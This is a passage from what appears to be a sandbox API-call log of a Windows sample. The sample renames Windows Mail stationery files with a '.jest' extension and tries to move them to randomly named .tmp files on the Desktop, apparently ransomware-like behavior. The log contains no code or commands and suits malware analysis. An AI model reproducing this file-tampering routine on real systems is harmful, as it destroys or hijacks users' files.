oDwOzgHQj9bomcccGPApP.tmp", lpFilePart=0x18e6e4*="bk_sIVSIF pIG Sx3zuDhnPbFBgp8WcLJd3Tsvw6rUXcPpC0FjAjOPk D-JrJqgSfUZG_GyJiV3SgTf oDwOzgHQj9bomcccGPApP.tmp") returned 0x8f [0130.030] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bk_sIVSIF pIG Sx3zuDhnPbFBgp8WcLJd3Tsvw6rUXcPpC0FjAjOPk D-JrJqgSfUZG_GyJiV3SgTf oDwOzgHQj9bomcccGPApP.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x735f6b62, cFileName="IVSIF pIG Sx3zuDhnPbFBgp8WcLJd3Tsvw6rUXcPpC0FjAjOPk D-JrJqgSfUZG_GyJiV3SgTf oDwOzgHQj9bomcccGPApP.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.031] GetLastError () returned 0x2 [0130.031] GetLastError () returned 0x2 [0130.031] SetLastError (dwErrCode=0x2) [0130.031] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.032] CoFreeUnusedLibraries () [0130.032] GetTickCount () returned 0x1152eaf [0130.032] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.032] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.032] GetTickCount () returned 0x1152eaf [0130.032] IsWindowVisible (hWnd=0x30268) returned 0 [0130.032] Sleep (dwMilliseconds=0x0) [0130.033] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg.jest")) returned 1 [0130.034] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", lpFilePart=0x18e6d8*="OrangeCircles.jpg") returned 0x52 [0130.034] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xd0, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1413628, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x146ad80, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.035] GetLastError () returned 0x2 [0130.035] VarBstrFromR4 (in: fltIn=0x479446ed, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.85") returned 0x0 [0130.035] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.035] CoFreeUnusedLibraries () [0130.035] GetTickCount () returned 0x1152ebf [0130.035] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.036] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.036] GetTickCount () returned 0x1152ebf [0130.036] IsWindowVisible (hWnd=0x30268) returned 0 [0130.036] Sleep (dwMilliseconds=0x0) [0130.036] GetFullPathNameA (in: lpFileName="N2j_B5I6ZJCeIxcCFE0yPqRFD80OEC_HNzUML07EJNMkl4mY_7-l2HlGdug0vOhrlrfAzuymf7S-3MDX1hy7jU_M6RL-zSrivPHj4.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\N2j_B5I6ZJCeIxcCFE0yPqRFD80OEC_HNzUML07EJNMkl4mY_7-l2HlGdug0vOhrlrfAzuymf7S-3MDX1hy7jU_M6RL-zSrivPHj4.tmp", lpFilePart=0x18e708*="N2j_B5I6ZJCeIxcCFE0yPqRFD80OEC_HNzUML07EJNMkl4mY_7-l2HlGdug0vOhrlrfAzuymf7S-3MDX1hy7jU_M6RL-zSrivPHj4.tmp") returned 0x8f [0130.036] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", lpFilePart=0x18e708*="OrangeCircles.jpg") returned 0x52 [0130.037] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\N2j_B5I6ZJCeIxcCFE0yPqRFD80OEC_HNzUML07EJNMkl4mY_7-l2HlGdug0vOhrlrfAzuymf7S-3MDX1hy7jU_M6RL-zSrivPHj4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n2j_b5i6zjceixccfe0ypqrfd80oec_hnzuml07ejnmkl4my_7-l2hlgdug0vohrlrfazuymf7s-3mdx1hy7ju_m6rl-zsrivphj4.tmp")) returned 0 [0130.037] GetLastError () returned 0x2 [0130.037] GetLastError () returned 0x2 [0130.037] SetLastError (dwErrCode=0x2) [0130.037] GetLastError () returned 0x2 [0130.037] SetLastError (dwErrCode=0x2) [0130.037] GetLastError () returned 0x2 [0130.037] SetLastError (dwErrCode=0x2) [0130.037] GetFullPathNameA (in: lpFileName="N2j_B5I6ZJCeIxcCFE0yPqRFD80OEC_HNzUML07EJNMkl4mY_7-l2HlGdug0vOhrlrfAzuymf7S-3MDX1hy7jU_M6RL-zSrivPHj4.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\N2j_B5I6ZJCeIxcCFE0yPqRFD80OEC_HNzUML07EJNMkl4mY_7-l2HlGdug0vOhrlrfAzuymf7S-3MDX1hy7jU_M6RL-zSrivPHj4.tmp", lpFilePart=0x18e6e4*="N2j_B5I6ZJCeIxcCFE0yPqRFD80OEC_HNzUML07EJNMkl4mY_7-l2HlGdug0vOhrlrfAzuymf7S-3MDX1hy7jU_M6RL-zSrivPHj4.tmp") returned 0x8f [0130.037] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\N2j_B5I6ZJCeIxcCFE0yPqRFD80OEC_HNzUML07EJNMkl4mY_7-l2HlGdug0vOhrlrfAzuymf7S-3MDX1hy7jU_M6RL-zSrivPHj4.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x5f6a324e, cFileName="B5I6ZJCeIxcCFE0yPqRFD80OEC_HNzUML07EJNMkl4mY_7-l2HlGdug0vOhrlrfAzuymf7S-3MDX1hy7jU_M6RL-zSrivPHj4.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.038] GetLastError () returned 0x2 [0130.038] GetLastError () returned 0x2 [0130.038] SetLastError (dwErrCode=0x2) [0130.038] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.038] CoFreeUnusedLibraries () [0130.038] GetTickCount () returned 0x1152ebf [0130.038] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.038] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.038] GetTickCount () returned 0x1152ebf [0130.038] IsWindowVisible (hWnd=0x30268) returned 0 [0130.038] Sleep (dwMilliseconds=0x0) [0130.041] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg.jest")) returned 1 [0130.042] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", lpFilePart=0x18e6d8*="ShadesOfBlue.jpg") returned 0x51 [0130.042] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xd0, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1413628, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x146ad80, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.042] GetLastError () returned 0x2 [0130.043] VarBstrFromR4 (in: fltIn=0x479446ed, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.85") returned 0x0 [0130.043] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.043] CoFreeUnusedLibraries () [0130.043] GetTickCount () returned 0x1152ebf [0130.043] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.043] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.043] GetTickCount () returned 0x1152ebf [0130.043] IsWindowVisible (hWnd=0x30268) returned 0 [0130.043] Sleep (dwMilliseconds=0x0) [0130.044] GetFullPathNameA (in: lpFileName="ELuyCZgbgtA7tC2GGjjCsCYyX 529XcdCFuFM1R-XTMZ 7VB 9_um-w69Jru D5r_6Ccnbwgb-UF3g6G8ITpfX_Wg3piLAtr_-_rI.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ELuyCZgbgtA7tC2GGjjCsCYyX 529XcdCFuFM1R-XTMZ 7VB 9_um-w69Jru D5r_6Ccnbwgb-UF3g6G8ITpfX_Wg3piLAtr_-_rI.tmp", lpFilePart=0x18e708*="ELuyCZgbgtA7tC2GGjjCsCYyX 529XcdCFuFM1R-XTMZ 7VB 9_um-w69Jru D5r_6Ccnbwgb-UF3g6G8ITpfX_Wg3piLAtr_-_rI.tmp") returned 0x8f [0130.044] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", lpFilePart=0x18e708*="ShadesOfBlue.jpg") returned 0x51 [0130.044] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ELuyCZgbgtA7tC2GGjjCsCYyX 529XcdCFuFM1R-XTMZ 7VB 9_um-w69Jru D5r_6Ccnbwgb-UF3g6G8ITpfX_Wg3piLAtr_-_rI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eluyczgbgta7tc2ggjjcscyyx 529xcdcfufm1r-xtmz 7vb 9_um-w69jru d5r_6ccnbwgb-uf3g6g8itpfx_wg3pilatr_-_ri.tmp")) returned 0 [0130.045] GetLastError () returned 0x2 [0130.045] GetLastError () returned 0x2 [0130.045] SetLastError (dwErrCode=0x2) [0130.045] GetLastError () returned 0x2 [0130.045] SetLastError (dwErrCode=0x2) [0130.045] GetLastError () returned 0x2 [0130.045] SetLastError (dwErrCode=0x2) [0130.045] GetFullPathNameA (in: lpFileName="ELuyCZgbgtA7tC2GGjjCsCYyX 529XcdCFuFM1R-XTMZ 7VB 9_um-w69Jru D5r_6Ccnbwgb-UF3g6G8ITpfX_Wg3piLAtr_-_rI.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ELuyCZgbgtA7tC2GGjjCsCYyX 529XcdCFuFM1R-XTMZ 7VB 9_um-w69Jru D5r_6Ccnbwgb-UF3g6G8ITpfX_Wg3piLAtr_-_rI.tmp", lpFilePart=0x18e6e4*="ELuyCZgbgtA7tC2GGjjCsCYyX 529XcdCFuFM1R-XTMZ 7VB 9_um-w69Jru D5r_6Ccnbwgb-UF3g6G8ITpfX_Wg3piLAtr_-_rI.tmp") returned 0x8f [0130.045] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ELuyCZgbgtA7tC2GGjjCsCYyX 529XcdCFuFM1R-XTMZ 7VB 9_um-w69Jru D5r_6Ccnbwgb-UF3g6G8ITpfX_Wg3piLAtr_-_rI.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x79754c45, cFileName="CZgbgtA7tC2GGjjCsCYyX 529XcdCFuFM1R-XTMZ 7VB 9_um-w69Jru D5r_6Ccnbwgb-UF3g6G8ITpfX_Wg3piLAtr_-_rI.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.045] GetLastError () returned 0x2 [0130.045] GetLastError () returned 0x2 [0130.045] SetLastError (dwErrCode=0x2) [0130.046] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.046] CoFreeUnusedLibraries () [0130.046] GetTickCount () returned 0x1152ebf [0130.046] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.046] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.046] GetTickCount () returned 0x1152ebf [0130.046] IsWindowVisible (hWnd=0x30268) returned 0 [0130.047] Sleep (dwMilliseconds=0x0) [0130.049] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm.jest")) returned 1 [0130.053] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", lpFilePart=0x18e6d8*="Stars.htm") returned 0x4a [0130.053] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.053] GetLastError () returned 0x2 [0130.053] VarBstrFromR4 (in: fltIn=0x479446ef, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.87") returned 0x0 [0130.054] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.054] CoFreeUnusedLibraries () [0130.054] GetTickCount () returned 0x1152ece [0130.054] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.054] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.054] GetTickCount () returned 0x1152ece [0130.054] IsWindowVisible (hWnd=0x30268) returned 0 [0130.054] Sleep (dwMilliseconds=0x0) [0130.054] GetFullPathNameA (in: lpFileName="49xmFO30gb3cb5 SAH2zk0VEhP7hYqecAxDve6due-BFNE HXLRYPFhCV15VR1IrMWQrUL2Ss s5QOWtTfhQ6Jfu_k346ZsMx-NNM.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\49xmFO30gb3cb5 SAH2zk0VEhP7hYqecAxDve6due-BFNE HXLRYPFhCV15VR1IrMWQrUL2Ss s5QOWtTfhQ6Jfu_k346ZsMx-NNM.tmp", lpFilePart=0x18e708*="49xmFO30gb3cb5 SAH2zk0VEhP7hYqecAxDve6due-BFNE HXLRYPFhCV15VR1IrMWQrUL2Ss s5QOWtTfhQ6Jfu_k346ZsMx-NNM.tmp") returned 0x8f [0130.055] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", lpFilePart=0x18e708*="Stars.htm") returned 0x4a [0130.055] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\49xmFO30gb3cb5 SAH2zk0VEhP7hYqecAxDve6due-BFNE HXLRYPFhCV15VR1IrMWQrUL2Ss s5QOWtTfhQ6Jfu_k346ZsMx-NNM.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\49xmfo30gb3cb5 sah2zk0vehp7hyqecaxdve6due-bfne hxlrypfhcv15vr1irmwqrul2ss s5qowttfhq6jfu_k346zsmx-nnm.tmp")) returned 0 [0130.055] GetLastError () returned 0x2 [0130.055] GetLastError () returned 0x2 [0130.055] SetLastError (dwErrCode=0x2) [0130.055] GetLastError () returned 0x2 [0130.055] SetLastError (dwErrCode=0x2) [0130.055] GetLastError () returned 0x2 [0130.056] SetLastError (dwErrCode=0x2) [0130.056] GetFullPathNameA (in: lpFileName="49xmFO30gb3cb5 SAH2zk0VEhP7hYqecAxDve6due-BFNE HXLRYPFhCV15VR1IrMWQrUL2Ss s5QOWtTfhQ6Jfu_k346ZsMx-NNM.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\49xmFO30gb3cb5 SAH2zk0VEhP7hYqecAxDve6due-BFNE HXLRYPFhCV15VR1IrMWQrUL2Ss s5QOWtTfhQ6Jfu_k346ZsMx-NNM.tmp", lpFilePart=0x18e6e4*="49xmFO30gb3cb5 SAH2zk0VEhP7hYqecAxDve6due-BFNE HXLRYPFhCV15VR1IrMWQrUL2Ss s5QOWtTfhQ6Jfu_k346ZsMx-NNM.tmp") returned 0x8f [0130.056] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\49xmFO30gb3cb5 SAH2zk0VEhP7hYqecAxDve6due-BFNE HXLRYPFhCV15VR1IrMWQrUL2Ss s5QOWtTfhQ6Jfu_k346ZsMx-NNM.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6d783934, cFileName="FO30gb3cb5 SAH2zk0VEhP7hYqecAxDve6due-BFNE HXLRYPFhCV15VR1IrMWQrUL2Ss s5QOWtTfhQ6Jfu_k346ZsMx-NNM.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.056] GetLastError () returned 0x2 [0130.056] GetLastError () returned 0x2 [0130.056] SetLastError (dwErrCode=0x2) [0130.057] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.057] CoFreeUnusedLibraries () [0130.057] GetTickCount () returned 0x1152ece [0130.057] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.057] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.057] GetTickCount () returned 0x1152ece [0130.057] IsWindowVisible (hWnd=0x30268) returned 0 [0130.057] Sleep (dwMilliseconds=0x0) [0130.069] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm.jest")) returned 1 [0130.070] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", lpFilePart=0x18e6d8*="Orange Circles.htm") returned 0x53 [0130.071] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xd0, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1413628, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x146ad80, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.071] GetLastError () returned 0x2 [0130.071] VarBstrFromR4 (in: fltIn=0x479446f1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.88") returned 0x0 [0130.072] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.072] CoFreeUnusedLibraries () [0130.072] GetTickCount () returned 0x1152ede [0130.072] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.072] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.072] GetTickCount () returned 0x1152ede [0130.072] IsWindowVisible (hWnd=0x30268) returned 0 [0130.072] Sleep (dwMilliseconds=0x0) [0130.073] GetFullPathNameA (in: lpFileName="_yL9SFu14cXe2TvFfdHJ9K4_DUKd6nc8OqyfYmTUeShpU0jbB0bI1O-DsFHFnT6ROrMhDD-yiGMZvSPWybdGWUbKU-o_V73fsMXG.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_yL9SFu14cXe2TvFfdHJ9K4_DUKd6nc8OqyfYmTUeShpU0jbB0bI1O-DsFHFnT6ROrMhDD-yiGMZvSPWybdGWUbKU-o_V73fsMXG.tmp", lpFilePart=0x18e708*="_yL9SFu14cXe2TvFfdHJ9K4_DUKd6nc8OqyfYmTUeShpU0jbB0bI1O-DsFHFnT6ROrMhDD-yiGMZvSPWybdGWUbKU-o_V73fsMXG.tmp") returned 0x8e [0130.073] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", lpFilePart=0x18e708*="Orange Circles.htm") returned 0x53 [0130.074] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_yL9SFu14cXe2TvFfdHJ9K4_DUKd6nc8OqyfYmTUeShpU0jbB0bI1O-DsFHFnT6ROrMhDD-yiGMZvSPWybdGWUbKU-o_V73fsMXG.tmp" (normalized: 